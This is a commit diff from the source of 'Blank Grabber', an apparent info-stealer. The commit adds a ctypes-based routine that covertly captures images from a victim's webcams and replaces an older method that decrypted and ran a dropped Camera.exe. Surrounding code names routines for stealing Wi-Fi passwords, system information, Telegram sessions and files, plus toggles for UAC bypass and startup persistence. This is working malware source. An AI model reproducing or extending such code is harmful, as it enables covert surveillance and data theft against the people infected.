Webcam implemented using Ctypes

zzzzarrakexeaa · Jun 28, 2023 · c3100ef · c3100ef
1 parent 730b34a
commit c3100ef
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Showing 4 changed files with 41 additions and 34 deletions.
diff --git a/Blank Grabber/Components/Camera b/Blank Grabber/Components/Camera
diff --git a/Blank Grabber/Components/run.bat b/Blank Grabber/Components/run.bat
@@ -22,7 +22,7 @@ if exist "noconsole" (set "mode=--noconsole") else (set "mode=--console")
 if exist "icon.ico" (set "icon=icon.ico") else (set "icon=NONE")
 set key=%random%%random%%random%%random%
 set key=%key:~-16%
-pyinstaller %mode% --onefile --clean --noconfirm stub-o.py --key %key% --name "Built.exe" -i %icon% --hidden-import urllib3 --hidden-import sqlite3 --hidden-import pyaes --hidden-import ctypes --hidden-import json --add-data Camera;. --add-binary rar.exe;. --add-data rarreg.key;. --version-file version.txt %bound%
+pyinstaller %mode% --onefile --clean --noconfirm stub-o.py --key %key% --name "Built.exe" -i %icon% --hidden-import urllib3 --hidden-import sqlite3 --hidden-import pyaes --hidden-import ctypes --hidden-import ctypes.wintypes --hidden-import json --add-binary rar.exe;. --add-data rarreg.key;. --version-file version.txt %bound%
 if %errorlevel%==0 (
     cls
     title Post processing...

diff --git a/Blank Grabber/Components/stub.py b/Blank Grabber/Components/stub.py
@@ -19,6 +19,7 @@
 import logging
 
 from threading import Thread
+from ctypes import wintypes
 from urllib3 import PoolManager, HTTPResponse
 
 class Settings:
@@ -170,8 +171,35 @@ def WaitForAll() -> None: # Wait for all threads to finish
 
 class Syscalls:
 
+    @staticmethod
+    def CaptureWebcam(index: int, filePath: str) -> bool:
+        avicap32 = ctypes.windll.avicap32
+        WS_CHILD = 0x40000000
+        WM_CAP_DRIVER_CONNECT = 0x0400 + 10
+        WM_CAP_DRIVER_DISCONNECT = 0x0402
+        WM_CAP_FILE_SAVEDIB = 0x0400 + 100 + 25
+
+        hcam = avicap32.capCreateCaptureWindowW(
+            wintypes.LPWSTR("Blank"),
+            WS_CHILD,
+            0, 0, 0, 0,
+            ctypes.windll.user32.GetDesktopWindow(), 0
+        )
+
+        result = False
+
+        if hcam:
+            if ctypes.windll.user32.SendMessageA(hcam, WM_CAP_DRIVER_CONNECT, index, 0):
+                if ctypes.windll.user32.SendMessageA(hcam, WM_CAP_FILE_SAVEDIB, 0, wintypes.LPWSTR(filePath)):
+                    result = True
+                ctypes.windll.user32.SendMessageA(hcam, WM_CAP_DRIVER_DISCONNECT, 0, 0)
+            ctypes.windll.user32.DestroyWindow(hcam)
+
+        return result
+
     @staticmethod
     def CreateMutex(mutex: str) -> bool:
+
         kernel32 = ctypes.windll.kernel32
         mutex = kernel32.CreateMutexA(None, False, mutex)
 
@@ -900,7 +928,7 @@ def __init__(self) -> None: # Constructor to call all the functions
             (self.GetWifiPasswords, False),
             (self.StealSystemInfo, False),
             (self.TakeScreenshot, False),
-            (self.BlockSites, True),
+            (self.BlockSites, False),
             (self.Webshot, True),
             (self.StealCommonFiles, True)
         ):
@@ -1312,37 +1340,17 @@ def run(name, path):
 
     @Errors.Catch
     def Webshot(self) -> None: # Captures snapshot(s) from the webcam(s)
-        isExecutable = Utility.GetSelf()[1]
-        if not Settings.CaptureWebcam or not os.path.isfile(Camfile := os.path.join(sys._MEIPASS, 'Camera')):
-            return
-
-        Logger.info("Capturing webcam snapshot")
-
-        with open(Camfile, 'rb') as file:
-            data = file.read()
-        data = pyaes.AESModeOfOperationCTR(b'f61QfygejoxUWGxI').decrypt(data)
-        if not b'This program cannot be run in DOS mode.' in data:
-            return
-        if isExecutable:
-            tempCam = os.path.join(sys._MEIPASS, 'Camera.exe')
-        else:
-            tempCam = os.path.join(os.getenv('temp'), 'Camera.exe')
-        with open(tempCam, 'wb') as file:
-            file.write(data)
-        tempCamPath = os.path.dirname(tempCam)
-        camlist = [x[15:] for x in subprocess.run('Camera.exe /devlist', capture_output= True, shell= True, cwd= tempCamPath).stdout.decode(errors= 'ignore').splitlines() if "Device name:" in x]
-        for index, name in enumerate(camlist):
-            try:
-                subprocess.run('Camera.exe /devnum {} /quiet /filename image.bmp'.format(index + 1), shell= True, stdout= open(os.devnull, 'w'), stderr= open(os.devnull, 'w'), cwd= tempCamPath, timeout= 5.0)
-            except subprocess.TimeoutExpired:
-                continue
-            if not os.path.isfile(tempImg := os.path.join(tempCamPath, 'image.bmp')):
-                continue
-            os.makedirs(webcamFolder := os.path.join(self.TempFolder, 'Webcam'), exist_ok= True)
-            shutil.copy(tempImg, os.path.join(webcamFolder, '%s.bmp' % name))
-            os.remove(tempImg)
-            self.WebcamPictures += 1
-        os.remove(tempCam)
+        if Settings.CaptureWebcam:
+            camdir = os.path.join(self.TempFolder, "Webcam")
+            os.makedirs(camdir, exist_ok= True)
+
+            camIndex = 0
+            while Syscalls.CaptureWebcam(camIndex, os.path.join(camdir, "Webcam %d.bmp" % (camIndex + 1))):
+                camIndex += 1
+                self.WebcamPictures += 1
+
+            if self.WebcamPictures == 0:
+                shutil.rmtree(camdir)
 
     @Errors.Catch
     def StealTelegramSessions(self) -> None: # Steals telegram session(s) files

diff --git a/Blank Grabber/gui.py b/Blank Grabber/gui.py
@@ -346,7 +346,6 @@ def buildModeButtonControl_Callback(self) -> None:
 		PYMODE = "Output:   PY File"
 
 		exeOnlyChecboxControls = (
-			(self.captureWebcamCheckboxControl, self.captureWebcamVar),
 			(self.fakeErrorCheckboxControl, self.fakeErrorVar),
 			(self.startupCheckboxControl, self.startupVar),
 			(self.uacBypassCheckboxControl, self.uacBypassVar),